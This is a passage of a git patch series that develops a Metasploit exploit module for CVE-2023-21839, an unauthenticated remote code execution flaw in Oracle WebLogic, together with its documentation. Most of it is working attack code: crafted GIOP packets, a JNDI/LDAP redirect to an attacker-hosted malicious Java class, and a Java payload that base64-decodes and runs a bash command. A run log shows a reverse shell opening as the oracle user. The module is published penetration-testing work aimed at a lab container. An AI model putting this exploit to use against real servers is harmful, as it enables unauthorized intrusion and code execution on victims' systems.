Msf::Exploit::Remote packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) socket.put(packet) - rebind_any_buf_2 = socket.get - p rebind_any_buf_2 + _rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') @@ -511,10 +640,18 @@ class MetasploitModule < Msf::Exploit::Remote message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + start_service + start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + socket = connect socket.put(packet) _resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 7 complete!') + + print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') + sleep(8) + cleanup_service + cleanup end end From 3faf96aa9da66742237f024b88ba07615824db6d Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 15 May 2023 15:39:47 -0500 Subject: [PATCH 03/10] Check return code on target server responses --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 51 ++++++++++++++++--- 1 file changed, 44 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 28b9fc4622..a2fe887170 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -19,8 +19,6 @@ class MetasploitModule < Msf::Exploit::Remote GIOP_MESSAGE_ERROR = 6 GIOP_FRAGMENT = 7 - OBJECT_FORWARD = "\x00\x00\x00\x02" - # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF SYNCSCOPE_NONE = 0 SYNCSCOPE_WITH_TRANSPORT = 0 @@ -32,6 +30,19 @@ class MetasploitModule < Msf::Exploit::Remote ADDR_DISPOSITION_PROFILE_ADDR = 1 ADDR_DISPOSITION_REFERENCE_ADDR = 2 + # GIOP Protocol RequestReply Header Codes + # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + NO_EXCEPTION = 0 + USER_EXCEPTION = 1 + SYSTEM_EXCEPTION = 2 + LOCATION_FORWARD = 3 + + # GIOP Protocol LocateReply Header Codes + # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + UNKNOWN_OBJECT = 0 + OBJECT_HERE = 1 + OBJECT_FORWARD = 2 + def initialize(info = {}) super( update_info( @@ -410,7 +421,8 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 2 complete!') - if locate_buf[0x10..0x13] != OBJECT_FORWARD + reply_status = locate_buf[16..19].unpack('L>')&.dig(0) + if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end @@ -542,6 +554,11 @@ class MetasploitModule < Msf::Exploit::Remote disconnect print_good('Step 3 complete!') + reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) + unless reply_status_code == LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime 0xac + lt + # IOR ProfileHost ProfilePort 0x5d # ObjectKey Prefix @@ -584,18 +601,28 @@ class MetasploitModule < Msf::Exploit::Remote packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) socket.put(packet) - _rebind_any_buf_2 = socket.get + rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') + reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) + unless reply_status_code == NO_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") + end + # Step 5 - Send second GIOP LocateRequest packet print_status('5. Sending second GIOP LocateRequest packet') socket = connect socket.put(giop_locate_request_packet) - _locate_buf_two = socket.get + locate_buf_two = socket.get disconnect print_good('Step 5 complete!') + reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) + unless reply_status_code == OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") + end + # Step 6 - Resolve packet #1 with wls_key_1 key_addr = wls_key_1 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) @@ -617,10 +644,15 @@ class MetasploitModule < Msf::Exploit::Remote socket = connect socket.put(packet) - _resolve_packet_wls_key_1 = socket.get + resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 6 complete!') + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + unless reply_status_code == LOCATION_FORWARD + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") + end + # Step 7 - Resolve packet #2 with wls_key_2 key_addr = wls_key_2 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) @@ -645,10 +677,15 @@ class MetasploitModule < Msf::Exploit::Remote socket = connect socket.put(packet) - _resolve_packet_wls_key_1 = socket.get + resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 7 complete!') + reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + unless reply_status_code == USER_EXCEPTION + fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") + end + print_status('Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through.') sleep(8) cleanup_service From 155319d4799bef16fc0bca8ee44355877c38253c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 15 May 2023 17:19:48 -0500 Subject: [PATCH 04/10] Save work --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index a2fe887170..5160b85805 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7001), - OptString.new('LDAP_OBJECT_REF', [true, 'Object ref to append to URL when making the JNDI connection to the target LDAP server']), + OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -187,7 +187,11 @@ class MetasploitModule < Msf::Exploit::Remote service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{datastore['LDAP_OBJECT_REF']}" # Not sure why the backtick is here but hey. + object_ref = datastore['JAVA_CLASS_NAME'] + if object_ref.length > 11 + fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.') + end + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -555,7 +559,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Step 3 complete!') reply_status_code = rebind_any_buf[16..19].unpack('L>')&.dig(0) - unless reply_status_code == LOCATION_FORWARD + if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -606,7 +610,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Step 4 complete!') reply_status_code = rebind_any_buf_2[16..19].unpack('L>')&.dig(0) - unless reply_status_code == NO_EXCEPTION + if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end @@ -619,7 +623,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Step 5 complete!') reply_status_code = locate_buf_two[16..19].unpack('L>')&.dig(0) - unless reply_status_code == OBJECT_FORWARD + if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end @@ -649,7 +653,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Step 6 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) - unless reply_status_code == LOCATION_FORWARD + if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end @@ -682,7 +686,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Step 7 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) - unless reply_status_code == USER_EXCEPTION + if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end From 9e8d1ed2ea0ad661ff3f4e35a6e3ee7cecc4933c Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 14:44:00 -0500 Subject: [PATCH 05/10] Add in Java class file, raw source code, and tidy up the module a bit --- .../exploits/CVE-2023-21839/PayloadRuns.class | Bin 0 -> 660 bytes data/exploits/CVE-2023-21839/PayloadRuns.java | 9 +++ .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 72 ++++++------------ 3 files changed, 34 insertions(+), 47 deletions(-) create mode 100644 data/exploits/CVE-2023-21839/PayloadRuns.class create mode 100644 data/exploits/CVE-2023-21839/PayloadRuns.java diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class new file mode 100644 index 0000000000000000000000000000000000000000..a00e746fdda254678f5c7f7a204606c5687b2130 GIT binary patch literal 660 zcmZuu%TC)s6g}fOu`y0V0^!+5c$I*XW`nu`At4Hzx+NlrisfW7N`@Lcawb(O%J+25 zhE^>40sSb%wMoH?TJn9Id+)iA`Fnr&2f#MoI*xL7Gu3+;iZEtURii;;SED> zR|QJ%F=VQnXAI^+*pUncPX+Sx@UktVQ{MIoDS4sb{uz%{?2kcH_tbzP?=|^%KjfX0 zVKCTXuy=(&W;Nu9q3m7oZ@l62pxZbc3E9^w3@9(((p-G~#QO;yO~&A~!eJ!jk&1gx zrD)&96fP#x^}UO zHHPW`jN)P)4#Q-s9W{SWJZ@h|p&5$L5N)c}CC%t`rG9eC)y>qZW0)2-70$!j%o{g!eVxEuzrQa}0nOm4&e!~8^b&K3hQZqrdS!758vt$7#wYCy8Pd$pn b_OC;pVnviFXPSNshG${MB$_h024)`sV;GDk literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java new file mode 100644 index 0000000000..981d14e047 --- /dev/null +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -0,0 +1,9 @@ +public class PayloadRuns { + static { + try { + Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}"); + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 5160b85805..a665d244ab 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7001), - OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -187,11 +186,8 @@ class MetasploitModule < Msf::Exploit::Remote service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' - object_ref = datastore['JAVA_CLASS_NAME'] - if object_ref.length > 11 - fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.') - end - stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey. + @java_class_name = 'PayloadRuns' + stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey. data << service_context_list data << stub_data @@ -271,20 +267,15 @@ class MetasploitModule < Msf::Exploit::Remote # HTTP Server Related Functions and Overrides - # Returns the configured (or random, if not configured) URI path + # Returns the configured URIPATH along with the path to the Java class we are serving def resource_uri - path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' - path = '/' + path if path !~ %r{^/} - if path !~ /\.jar$/ - print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") - path += '.jar' - end - datastore['URIPATH'] = path - return path + "#{datastore['URIPATH']}/#{@java_class_name}.class" end - def resource_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" + # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of + # this URL when it tries to fetch the class to be loaded and instantiated. + def ldap_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/" end # @@ -357,9 +348,14 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") - pay = regenerate_payload(cli) - jar = inject_jar_payload_factory(pay.encoded_jar) - send_response(cli, 200, 'OK', jar) + file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb') + class_raw = file.read + file.close + base64_payload = Rex::Text.encode_base64(payload.encoded) + command_length = (44 - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>')) + class_raw = class_raw.gsub('PAYLOAD', base64_payload) + send_response(cli, 200, 'OK', class_raw) end # @@ -368,38 +364,16 @@ class MetasploitModule < Msf::Exploit::Remote def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) - res['Content-Type'] = 'application/java-archive' res.body = html cli.send_response(res) end - # - # Insert PayloadFactory in Java payload JAR - # - # @param jar [Rex::Zip::Jar] payload JAR to update - # @return [Rex::Zip::Jar] updated payload JAR - def inject_jar_payload_factory(jar = generate_payload.encoded_jar) - # From exploits/multi/browser/java_rhino - should probably go to lib - paths = [ - [ 'metasploit/PayloadFactory.class' ] - ] - paths.each do |path| - 1.upto(path.length - 1) do |idx| - full = path[0, idx].join('/') + '/' - jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) - end - File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| - data = fd.read(fd.stat.size) - jar.add_file(path.join('/'), data) - end - end - jar - end - # LDAP Server Overrides def build_ldap_search_response_payload # Always do a remote load - build_ldap_search_response_payload_remote(resource_url_string) + # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. + # You can add anchor tags using # to the URL but thats it. + build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) end # Main Exploit @@ -553,6 +527,7 @@ class MetasploitModule < Msf::Exploit::Remote message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('3. Sending rebindAny request!') socket.put(packet) rebind_any_buf = socket.get disconnect @@ -604,6 +579,7 @@ class MetasploitModule < Msf::Exploit::Remote message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('4. Sending second rebindAny request!') socket.put(packet) rebind_any_buf_2 = socket.get disconnect @@ -646,6 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) + print_status('6. Sending resolve packet #1 with wls_key_1') socket = connect socket.put(packet) resolve_packet_wls_key_1 = socket.get @@ -679,13 +656,14 @@ class MetasploitModule < Msf::Exploit::Remote start_service start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect socket.put(packet) - resolve_packet_wls_key_1 = socket.get + step_7_response = socket.get disconnect print_good('Step 7 complete!') - reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0) + reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end From 84961e6e09ff4092dc5f7503294268f49488b5c8 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 18:02:30 -0500 Subject: [PATCH 06/10] Add in documentation --- .../multi/iiop/cve_2023_21839_weblogic_rce.md | 118 ++++++++++++++++++ .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 30 +++-- 2 files changed, 140 insertions(+), 8 deletions(-) create mode 100644 documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md new file mode 100644 index 0000000000..d16b2ee897 --- /dev/null +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -0,0 +1,118 @@ +## Vulnerable Application + +### Description +Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated +remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes +a `ForeignOpaqueReference` class object, deserializes it on the target, and then post deserialization, calls the +object's `getReferent()` method, which will make use of the `ForeignOpaqueReference` class's `remoteJNDIName` variable, +which is under the attackers control, to do a remote loading of the JNDI address specified by `remoteJNDIName` via +the `lookup()` function. + +This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting +a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to +create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java +code during the instantiation of the object, thereby getting remote code execution as the `oracle` user. + +This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will +then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java +class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, +at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate +an instance of that class, granting us RCE as the `oracle` user. + +## Verification Steps + +1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. +2. `git clone git@github.com:vulnhub/vulnhub.git` +3. `cd weblogic/CVE-2023-21839/cmd` +4. `docker-compose up -d` and wait for the build to finish, then a few seconds for startup. +5. Do: `use exploit/multi/iiop/cve_2023_21839_weblogic_rce` +6. Do `set SRVPORT *some high port*` for LDAP server port number since we can't listen on the default port `389` without being `root`. +7. Do `set HTTP_SRVPORT *port*` if you want to change the HTTP server port. +8. Do `set RHOSTS 127.0.0.1` to target the local Docker instance. +9. Do `set SRVHOST *LDAP server IP address*` for LDAP server host. NOTE: Have to provide a routeable IP address, 0.0.0.0 won't work. +10. Do `set LHOST *IP address of Metasploit machine*` +11. Do: `exploit` +12. Verify that you get a shell on the target system as the `oracle` user. + + +## Options + +### HTTP_SRVPORT +The port where the HTTP server will listen. + +### SRVPORT +The port where the LDAP server will listen. + +### SRVHOST +The IP address where where the LDAP server will be listening. + +## Scenarios + +### Oracle Weblogic 12.2.1.3 with Java 1.8.0_151-b12 - Docker Image +``` +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options + +Module options (exploit/multi/iiop/cve_2023_21839_weblogic_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HTTP_SRVPORT 8089 yes The HTTP server port + LDIF_FILE no Directory LDIF file path + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7001 yes The target port (TCP) + SRVHOST 192.168.204.149 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 4939 yes The local port to listen on. + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.149 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.149:4444 +[*] 127.0.0.1:7001 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +[*] 127.0.0.1:7001 - 1. Making T3 connection... +[+] 127.0.0.1:7001 - Made T3 connection! +[*] 127.0.0.1:7001 - 2. Sending first GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 2 complete! +[*] 127.0.0.1:7001 - 3. Sending rebindAny request! +[+] 127.0.0.1:7001 - Step 3 complete! +[*] 127.0.0.1:7001 - 4. Sending second rebindAny request! +[+] 127.0.0.1:7001 - Step 4 complete! +[*] 127.0.0.1:7001 - 5. Sending second GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 5 complete! +[*] 127.0.0.1:7001 - 6. Sending resolve packet #1 with wls_key_1 +[+] 127.0.0.1:7001 - Step 6 complete! +[*] 127.0.0.1:7001 - Serving Java code on: http://192.168.204.149:8089/PayloadRuns.class +[*] 127.0.0.1:7001 - 7. Sending resolve packet #2 with wls_key_2 +[+] 127.0.0.1:7001 - Step 7 complete! +[*] 127.0.0.1:7001 - Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through. +[*] Command shell session 1 opened (192.168.204.149:4444 -> 172.18.0.2:46440) at 2023-05-17 16:48:56 -0500 + +id +uid=1000(oracle) gid=1000(oracle) groups=1000(oracle) +whoami +oracle +uname -a +Linux 8e6d76ecdb0d 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/u01/oracle/user_projects/domains/base_domain +``` diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index a665d244ab..e71f3cbfda 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -55,13 +55,30 @@ class MetasploitModule < Msf::Exploit::Remote 'Grant Willcox' # @tekwizz123 This Metasploit module ], 'Description' => %q{ - TO WRITE + Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated + remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes + a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the + object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, + which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via + the "lookup()" function. + + This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting + a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to + create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java + code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. + + This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will + then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java + class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, + at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate + an instance of that class, granting us RCE as the "oracle" user. }, 'References' => [ ['CVE', '2023-21839'], - ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], - ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Research%20on%20WebLogic%20After-Deserialization.md'], - ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] # PoC ], 'Privileged' => false, 'Targets' => [ @@ -91,9 +108,6 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) - register_advanced_options([ - OptPort.new('HttpListenerBindPort', [false, 'The port to bind to if different from HTTP_SRVPORT']) - ]) end def get_weblogic_version @@ -654,7 +668,7 @@ class MetasploitModule < Msf::Exploit::Remote packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) start_service - start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i) + start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect From e78cf054b88b6c4c89e2f062a4b92bd0b9f5d8ba Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 18:05:40 -0500 Subject: [PATCH 07/10] Add in EITW notes --- .../exploit/multi/iiop/cve_2023_21839_weblogic_rce.md | 2 ++ modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb | 5 ++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md index d16b2ee897..824a18e9d9 100644 --- a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -19,6 +19,8 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the `oracle` user. +This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + ## Verification Steps 1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index e71f3cbfda..be8b83cd55 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -72,13 +72,16 @@ class MetasploitModule < Msf::Exploit::Remote class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the "oracle" user. + + This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability }, 'References' => [ ['CVE', '2023-21839'], ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP - ['URL', 'https://github.com/4ra1n/CVE-2023-21839'] # PoC + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC + ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. ], 'Privileged' => false, 'Targets' => [ From e80987ea59278b3f5aa1fe1f7f1aa53af0043bab Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 24 May 2023 13:09:19 -0500 Subject: [PATCH 08/10] First round of updates from review --- .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 35 +++++++++++-------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index be8b83cd55..b6b718c3be 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -87,8 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Linux', { - 'Platform' => 'unix', - 'RemoteLoad' => false, + 'Platform' => 